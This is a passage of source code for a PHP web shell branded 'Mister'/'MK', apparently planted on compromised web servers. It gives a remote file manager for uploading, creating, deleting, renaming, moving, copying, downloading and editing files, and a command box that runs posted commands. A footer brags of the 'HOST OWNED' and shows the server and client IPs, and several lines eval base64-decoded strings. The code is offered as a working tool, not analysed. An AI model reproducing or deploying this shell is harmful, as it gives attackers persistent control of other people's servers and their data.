4577 | $words = getwords($lang); | |
4578 | $COLS = ($WIN) ? 4 : 7; | |
4579 | if (!isset($DIRPERMISSION)) { | |
4580 | $DIRPERMISSION = (function_exists('umask')) ? (0777 & ~umask()) : 0755;} | |
4581 | if (!isSET($FILEPERMISSION)) { | |
4582 | $FILEPERMISSION = (function_exists('umask')) ? (0666 & ~umask()) : 0644;} | |
4583 | if (!empty($_SERVER['SCRIPT_NAME'])) { | |
4584 | $self = html(basename($_SERVER['SCRIPT_NAME'])); | |
4585 | } elseif (!empty($_SERVER['PHP_SELF'])) { | |
4586 | $self = html(basename($_SERVER['PHP_SELF']));} else { | |
4587 | $self = '';} | |
4588 | if (!empty($_SERVER['SERVER_SOFTWARE'])) { | |
4589 | if (strtolower(substr($_SERVER['SERVER_SOFTWARE'], 0, 6)) == 'APACHE') { | |
4590 | $APACHE = true;} else { | |
4591 | $APACHE = false;}} else { | |
4592 | $APACHE = true;} | |
4593 | switch ($ACTION) { | |
4594 | /////////// UPLOAD | |
4595 | case 'UPLOAD': | |
4596 | $DEST = RELATIVE2ABSOLUTE($FILE['name'], $DIRECTORY); | |
4597 | if (@FILE_EXISTS($DEST)) { | |
4598 | LISTING_PAGE(error('ALREADY_EXISTS', $DEST));} | |
4599 | elseif (@MOVE_UPLOADED_FILE($FILE['tmp_name'], $DEST)) { | |
4600 | LISTING_PAGE(NOTICE('UPLOADED', $FILE['name']));} else { | |
4601 | LISTING_PAGE(error('NOT_UPLOADED', $FILE['name']));} | |
4602 | break; | |
4603 | case 'CREATE_DIRECTORY': | |
4604 | if (@FILE_EXISTS($FILE)) { | |
4605 | LISTING_PAGE(error('ALREADY_EXISTS', $FILE));} else { | |
4606 | $MKOLD = @umask(0777 & ~$DIRPERMISSION); | |
4607 | if (@mkDIR($FILE, $DIRPERMISSION)) { | |
4608 | LISTING_PAGE(NOTICE('CREATED', $FILE));} else { | |
4609 | LISTING_PAGE(error('NOT_CREATED', $FILE));} | |
4610 | @umask($MKOLD);} | |
4611 | break; | |
4612 | ///////// CREATE FILE | |
4613 | case 'CREATE_FILE': | |
4614 | if (@FILE_EXISTS($FILE)) { | |
4615 | LISTING_PAGE(error('ALREADY_EXISTS', $FILE));} else { | |
4616 | $MKOLD = @umask(0777 & ~$FILEPERMISSION); | |
4617 | if (@touch($FILE)) { | |
4618 | EDIT($FILE);} else { | |
4619 | LISTING_PAGE(error('NOT_CREATED', $FILE));} | |
4620 | @umask($MKOLD);} | |
4621 | break; | |
4622 | ////////// DELET | |
4623 | case 'DELETE': | |
4624 | if (!empty($_POST['NO'])) { | |
4625 | LISTING_PAGE();} elseif (!empty($_POST['YES'])) { | |
4626 | $FAILURE = array(); | |
4627 | $SUCCESS = array(); | |
4628 | foreach ($FILES as $FILE) { | |
4629 | if (del($FILE)) { | |
4630 | $SUCCESS[] = $FILE;} else { | |
4631 | $FAILURE[] = $FILE;}} | |
4632 | $MESSAGE = ''; | |
4633 | if (sizeof($FAILURE) > 0) { | |
4634 | $MESSAGE = error('NOT_DELETED', implode("\n", $FAILURE));} | |
4635 | if (sizeof($SUCCESS) > 0) { | |
4636 | $MESSAGE .= NOTICE('DELETED', implode("\n", $SUCCESS));} | |
4637 | LISTING_PAGE($MESSAGE);} else { | |
4638 | HTML_HEADER(); | |
4639 | echo '<form action="' . $self . '?Mister=FILES" method="post" style="background:-webkit-gradient(linear, left top, left bottom, from(#505050), to(#383838));background:-webkit-linear-gradient(top, #505050, #383838)background:linear-gradient(to bottom, #505050, #383838);background: -webkit-linear-gradient(top, #404040 0, #000000 100%) no-repeat;">'; | |
4640 | $MISTERKLIO11 = "<br><table class='dialog'><tr><td><center>"; echo ''. $MISTERKLIO11 .'' ; | |
4641 | REQUEST_DUMP(); | |
4642 | echo "\t<b>" . word('REALLY_DELETE') . '</b><p>'; | |
4643 | foreach ($FILES as $FILE) { | |
4644 | echo "\t" . html($FILE) . "<br>\n";} | |
4645 | $MISTERKLIO10 = "</p><br>"; echo ''. $MISTERKLIO10 .'' ; | |
4646 | echo '<input type="submit" class="Mister-button" name="NO" value="' . word('NO') . '" >'; | |
4647 | echo '<input type="submit" class="Mister-button" name="YES" value="' . word('YES') . '" " style="margin-left: 50px" />'; | |
4648 | $MISTERKLIO9 = "<br><br></td></tr></table></form>"; echo ''. $MISTERKLIO9 .'' ; | |
4649 | HTML_FOOTER(); } | |
4650 | break; | |
4651 | ////////// RENAME | |
4652 | case 'RENAME': | |
4653 | if (!empty($_POST['DESTINATION'])) { | |
4654 | $DEST = RELATIVE2ABSOLUTE($_POST['DESTINATION'], $DIRECTORY); | |
4655 | if (!@FILE_EXISTS($DEST) && @RENAME($FILE, $DEST)) { | |
4656 | LISTING_PAGE(NOTICE('RENAMED', $FILE, $DEST));} else { | |
4657 | LISTING_PAGE(error('NOT_RENAMED', $FILE, $DEST));}} else { | |
4658 | $name = basename($FILE); | |
4659 | HTML_HEADER(); | |
4660 | echo '<form action="' . $self . '?Mister=FILES" method="post">'; | |
4661 | $MISTERKLIO7 = "<br><table class='dialog' style='background:-webkit-gradient(linear, left top, left bottom, from(#505050), to(#383838));background:-webkit-linear-gradient(top, #505050, #383838)background:linear-gradient(to bottom, #505050, #383838);background: -webkit-linear-gradient(top, #404040 0, #000000 100%) no-repeat;'><tr><td><center>"; echo ''. $MISTERKLIO7 .'' ; | |
4662 | $MISTERKLIO8 = '<input type="hidden" name="action" value="RENAME">'; echo ''. $MISTERKLIO8 .'' ; | |
4663 | echo '<input type="hidden" name="FILE" value="' . html($FILE) . '">'; | |
4664 | echo '<input type="hidden" name="DIR" value="' . html($DIRECTORY) . '">'; | |
4665 | echo '<b>' . word('RENAME_FILE') . '</b>'; | |
4666 | echo '<p><b><span Style="color:#FFFFFF;">'; $ORIGINALEFILE = " ORIGINALE FILE : <br>"; | |
4667 | echo ''. $ORIGINALEFILE .'</span></b>' . html($FILE) . '</p>' ; $RENAMETO = " RENAME TO : "; | |
4668 | echo '<b><span Style="color:#FFFFFF;">'; echo ''. $RENAMETO .'</span></b>' ; | |
4669 | echo '<input type="text" style="width:99%;color:#0000F0;background:-webkit-linear-gradient(top, #000000 0, #404040 100%) no-repeat; " name="DESTINATION" size="' . textfieldsize($name) . '" value="' . html($name) . '" /> | |
4670 | <input type="submit" class="Mister-button" value="' . word('RENAME') . '" /><p></p><a href="' . $self . '?Mister=FILES&DIR=' . urlencode($DIRECTORY) . '">[ ' . word('BACK') . ' ]'; | |
4671 | $MISTERKLIO6 = "</a><br><br></td></tr></table></form>"; | |
4672 | echo ''. $MISTERKLIO6 .'' ; | |
4673 | HTML_FOOTER(); } | |
4674 | break; | |
4675 | ///////// MOVE FILE | |
4676 | case 'MOVE': | |
4677 | if (!empty($_POST['DESTINATION'])) { | |
4678 | $DEST = RELATIVE2ABSOLUTE($_POST['DESTINATION'], $DIRECTORY); | |
4679 | $FAILURE = array(); | |
4680 | $SUCCESS = array(); | |
4681 | foreach ($FILES as $FILE) { | |
4682 | $FILENAME = substr($FILE, strlen($DIRECTORY)); | |
4683 | $d = $DEST . $FILENAME; | |
4684 | if (!@FILE_EXISTS($d) && @RENAME($FILE, $d)) { | |
4685 | $SUCCESS[] = $FILE;} else { | |
4686 | $FAILURE[] = $FILE;}} | |
4687 | $MESSAGE = ''; | |
4688 | if (sizeof($FAILURE) > 0) { | |
4689 | $MESSAGE = error('NOT_MOVED', implode("\n", $FAILURE), $DEST);} | |
4690 | if (sizeof($SUCCESS) > 0) { | |
4691 | $MESSAGE .= NOTICE('MOVED', implode("\n", $SUCCESS), $DEST);} | |
4692 | LISTING_PAGE($MESSAGE);} else { | |
4693 | HTML_HEADER(); | |
4694 | echo '<form action="' . $self . '?Mister=FILES" method="post">'; | |
4695 | $MISTERKLIO5 = "<br><table class='dialog' style='background:-webkit-gradient(linear, left top, left bottom, from(#505050), to(#383838));background:-webkit-linear-gradient(top, #505050, #383838)background:linear-gradient(to bottom, #505050, #383838);background: -webkit-linear-gradient(top, #404040 0, #000000 100%) no-repeat;'><tr><td><center>" ; | |
4696 | echo ''. $MISTERKLIO5 .'' ; | |
4697 | REQUEST_DUMP(); | |
4698 | echo "\t<b>" . word('MOVE_FILES') . '</b><p>'; | |
4699 | foreach ($FILES as $FILE) { | |
4700 | echo "\t" . html($FILE) . "<br />\n"; } | |
4701 | echo '</p>' . word('DESTINATION') . ':'; | |
4702 | echo '<input type="text" name="DESTINATION" size="' . textfieldsize($DIRECTORY) . '" value="' . html($DIRECTORY) . '" />'; | |
4703 | echo '<br><br><input type="submit" class="Mister-button" value="' . word('MOVE') . '" /><p>'; | |
4704 | echo '</p><a href="' . $self . '?Mister=FILES&DIR=' . urlencode($DIRECTORY) . '">[ ' . word('BACK') . ' ]</a>'; | |
4705 | $MISTERKLIO4 = "<br><br></td></tr></table></form>"; echo ''. $MISTERKLIO4 .'' ; | |
4706 | HTML_FOOTER();} | |
4707 | break; | |
4708 | ///////// COPY | |
4709 | case 'COPY': | |
4710 | if (!empty($_POST['DESTINATION'])) { | |
4711 | $DEST = RELATIVE2ABSOLUTE($_POST['DESTINATION'], $DIRECTORY); | |
4712 | if (@IS_DIR($DEST)) { | |
4713 | $FAILURE = array(); | |
4714 | $SUCCESS = array(); | |
4715 | foreach ($FILES as $FILE) { | |
4716 | $FILENAME = substr($FILE, strlen($DIRECTORY)); | |
4717 | $MKDESET = addslash($DEST) . $FILENAME; | |
4718 | if (!@IS_DIR($FILE) && !@FILE_EXISTS($MKDESET) && @COPY($FILE, $MKDESET)) { | |
4719 | $SUCCESS[] = $FILE;} else { | |
4720 | $FAILURE[] = $FILE;}} | |
4721 | $MESSAGE = ''; | |
4722 | if (sizeof($FAILURE) > 0) { | |
4723 | $MESSAGE = ERROR('NOT_COPIED', implode("\n", $FAILURE), $DEST);} | |
4724 | if (sizeof($SUCCESS) > 0) { | |
4725 | $MESSAGE .= NOTICE('COPIED', implode("\n", $SUCCESS), $DEST);} | |
4726 | LISTING_PAGE($MESSAGE);} else { | |
4727 | if (!@FILE_EXISTS($DEST) && @COPY($FILE, $DEST)) { | |
4728 | LISTING_PAGE(NOTICE('COPIED', $FILE, $DEST));} else { | |
4729 | LISTING_PAGE(ERROR('NOT_COPIED', $FILE, $DEST));}}} else { | |
4730 | HTML_HEADER(); | |
4731 | ///////// COPY FILES | |
4732 | echo '<form action="' . $self . '?Mister=FILES" method="post">'; | |
4733 | $MISTERKLIO3 = "<br><table class='dialog' style='background:-webkit-gradient(linear, left top, left bottom, from(#505050), to(#383838));background:-webkit-linear-gradient(top, #505050, #383838)background:linear-gradient(to bottom, #505050, #383838);background: -webkit-linear-gradient(top, #404040 0, #000000 100%) no-repeat;'><tr><td><center>"; | |
4734 | echo ''. $MISTERKLIO3 .'' ; | |
4735 | REQUEST_DUMP(); | |
4736 | echo "\n<b>" . word('COPY_FILES') . '</b><p>'; | |
4737 | foreach ($FILES as $FILE) { | |
4738 | echo "\t" . html($FILE) . "<br>\n";} echo '</p>' . word('DESTINATION') . ': '; | |
4739 | echo '<input type="text" name="DESTINATION" size="' . textfieldsize($DIRECTORY) . '" value="' . html($DIRECTORY) . '" />'; | |
4740 | $MKBR1 = "<br><br>"; echo "". $MKBR1 .""; | |
4741 | echo '<input type="submit" class="Mister-button" value="' . word('COPY') . '" /><p>'; | |
4742 | echo '</p><a href="' . $self . '?Mister=FILES&DIR=' . urlencode($DIRECTORY) . '">[ ' . word('BACK') . ' ]</a>'; | |
4743 | $MISTERKLIO1 = "<br><br></td></tr></table></form>"; echo ''. $MISTERKLIO1 .'' ; | |
4744 | HTML_FOOTER();} | |
4745 | /////////// DOWNLOAD | |
4746 | break; | |
4747 | case 'DOWNLOAD': | |
4748 | header('Pragma: public'); | |
4749 | header('Expires: 0'); | |
4750 | header('Cache-Control: must-revalidate, post-check=0, pre-check=0'); | |
4751 | header('Content-Type: ' . getmimetype($FILE)); | |
4752 | header('Content-Disposition: attachment; FILENAME=' . basename($FILE) . ';'); | |
4753 | header('Content-Length: ' . FILESIZE($FILE)); | |
4754 | READFILE($FILE); | |
4755 | break; | |
4756 | ///////// EDIT | |
4757 | case 'EDIT': | |
4758 | if (!empty($_POST['SAVE'])) { | |
4759 | $content = str_replace("\r\n", "\n", $_POST['content']); | |
4760 | if (($f = @fopen($FILE, 'w')) && @fwrite($f, $content) !== false && @fclose($f)) { | |
4761 | LISTING_PAGE(NOTICE('SAVED', $FILE));} else { | |
4762 | LISTING_PAGE(error('NOT_SAVED', $FILE));}} else { | |
4763 | if (@IS_READABLE($FILE) && @IS_WRITABLE($FILE)) { | |
4764 | EDIT($FILE); } else { | |
4765 | LISTING_PAGE(error('NOT_EDITED', $FILE));}} | |
4766 | ||
4767 | break; | |
4768 | default: LISTING_PAGE(); } | |
4769 | echo '<br><br><br><br>'. $THEEND .'' ; | |
4770 | $FOTTER2 = "<footer class='MK-footer'>"; echo ''. $FOTTER2 .'|'; | |
4771 | $COPYRIGHT1 = base64_decode("Q09QWVJJR0hUIMKpIDxhIGhyZWY9Jz9NaXN0ZXI9QWJvdXRzJz4gMjAxNSA8L2E+IHw="); | |
4772 | echo ''. $COPYRIGHT1 .'<button class="MK-Bouton">' ; | |
4773 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
4774 | $SERVERIP1 = "SERVER IP :"; echo ''. $SERVERIP1 .'' ; | |
4775 | $SPAN2 = "<span style='color:#FFFFFF;'>"; | |
4776 | $SPAN3 = "</span>"; echo ''. $SPAN2 .'' ; | |
4777 | echo $SERVERIP = gethostbyname($_SERVER["HTTP_HOST"]); echo ''. $SPAN3 .'' ; | |
4778 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
4779 | $CLIENTIP1 = "CLIENT IP :"; echo ''. $CLIENTIP1 .''; | |
4780 | echo ''. $SPAN2 .'' ; echo $_SERVER['REMOTE_ADDR']; | |
4781 | echo ''. $SPAN3 .'</button><button class="MK-Bouton">'; | |
4782 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
4783 | $HOSTOWNED1 = "HOST OWNED :"; echo ''. $HOSTOWNED1 .'' ; | |
4784 | echo ''. $SPAN2 .'' ; echo $_SERVER['SERVER_NAME'] ; echo ''. $SPAN3 .'</button> '; | |
4785 | $REPORTERROR = "| ALL RIGHT RESERVED™ |"; | |
4786 | echo ''. $REPORTERROR .'</a></span></footer>'; | |
4787 | exit;} | |
4788 | $TABLE1 = '<center><table width="100%" border="0" cellspacing="5" style="background:-webkit-gradient(linear, left top, left bottom, from(#505050), to(#383838));background:-webkit-linear-gradient(top, #505050, #383838)background:linear-gradient(to bottom, #505050, #383838);background: -webkit-linear-gradient(top, #404040 0, #000000 100%) no-repeat;"><tr>'; | |
4789 | echo ''. $TABLE1 .'' ; DIRMISTER_K ($DIR); | |
4790 | $TD1 = '<td align="center" valign="bottom" style="background:#0000F0;"><textarea rows="20" cols="20" style="width:90%;">'; | |
4791 | echo ''. $TD1 .'' ; | |
4792 | ////////// COMMAND | |
4793 | if (!$_POST['COMMAND'] == ''){ EXMISTER_K (); } FOTMISTER_K($MK_TEXT,$MK_TEXT1,$DIR); | |
4794 | $UPLOADFILE = "<b> UPLOAD FILE : </b>"; | |
4795 | $NAV1 = base64_decode("PG5hdiBjbGFzcz0iTWlzdGVyLW5hdiIgd2lkdGg9Ijk5JSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiIHN0eWxlPSJtYXJnaW46NXB4MDsiPg==/"); | |
4796 | echo ''. $NAV1 .'' ; | |
4797 | $FROM1 = "<br><center><form method='POST' enctype='multipart/form-data' style='background:-webkit-gradient(linear, left top, left bottom, from(#505050), to(#383838));background:-webkit-linear-gradient(top, #505050, #383838)background:linear-gradient(to bottom, #505050, #383838);background: -webkit-linear-gradient(top, #404040 0, #000000 100%) no-repeat;border:1px solid #4D4D4D;'>"; echo ''. $FROM1 .'' ; | |
4798 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
4799 | $SPAN1 = '<span style="color:#FFFFFF;font-family: "Aldrich", Tahoma, sans-serif;font-size:10px;">'; echo ''. $SPAN1 .'' ; | |
4800 | echo ''. $UPLOADFILE .'</b><input type="FILE" name="MKUP" style="font-family: "Aldrich", Tahoma, sans-serif;font-size:10px;">' ; | |
4801 | echo "<input type='text' name='DIR' value='$DIR' style='width:40%;color:white;font-family:Aldrichfont-size:10px;'>"; | |
4802 | $INPUT1 = '<input type="submit" class="Mister-button" value="UPLOAD"></form></nav></center>'; | |
4803 | echo ''. $INPUT1 .'' ; | |
4804 | echo '<br><center>'. $MK_TEXT .''; echo''. $MK_TEXT1 .'<br></center>'; | |
4805 | ||
4806 | //////// MY RIGHT | |
4807 | $FOTTER2 = "<footer class='MK-footer'>"; echo ''. $FOTTER2 .''; | |
4808 | $COPYRIGHT1 = base64_decode("Q09QWVJJR0hUIMKpIDxhIGhyZWY9Jz9NaXN0ZXI9QWJvdXRzJz4gMjAxNSA8L2E+IHw="); | |
4809 | echo ''. $COPYRIGHT1 .'<button class="MK-Bouton">' ; | |
4810 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
4811 | $SERVERIP1 = "SERVER IP :"; echo ''. $SERVERIP1 .'' ; | |
4812 | $SPAN2 = "<span style='color:#FFFFFF;'>"; | |
4813 | $SPAN3 = "</span>"; echo ''. $SPAN2 .'' ; | |
4814 | echo $SERVERIP = gethostbyname($_SERVER["HTTP_HOST"]); echo ''. $SPAN3 .'' ; | |
4815 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
4816 | $CLIENTIP1 = "CLIENT IP :"; echo ''. $CLIENTIP1 .''; | |
4817 | echo ''. $SPAN2 .'' ; echo $_SERVER['REMOTE_ADDR']; | |
4818 | echo ''. $SPAN3 .'</button><button class="MK-Bouton">'; | |
4819 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
4820 | $HOSTOWNED1 = "HOST OWNED :"; echo ''. $HOSTOWNED1 .'' ; | |
4821 | echo ''. $SPAN2 .'' ; echo $_SERVER['SERVER_NAME'] ; echo ''. $SPAN3 .'</button> '; | |
4822 | $REPORTERROR = "| ALL RIGHT RESERVED™ |"; | |
4823 | echo ''. $REPORTERROR .'</a></span></footer>'; echo ''. $THEEND .'' ; | |
4824 | ///// EXIT; | |
4825 | ||
4826 | ?> |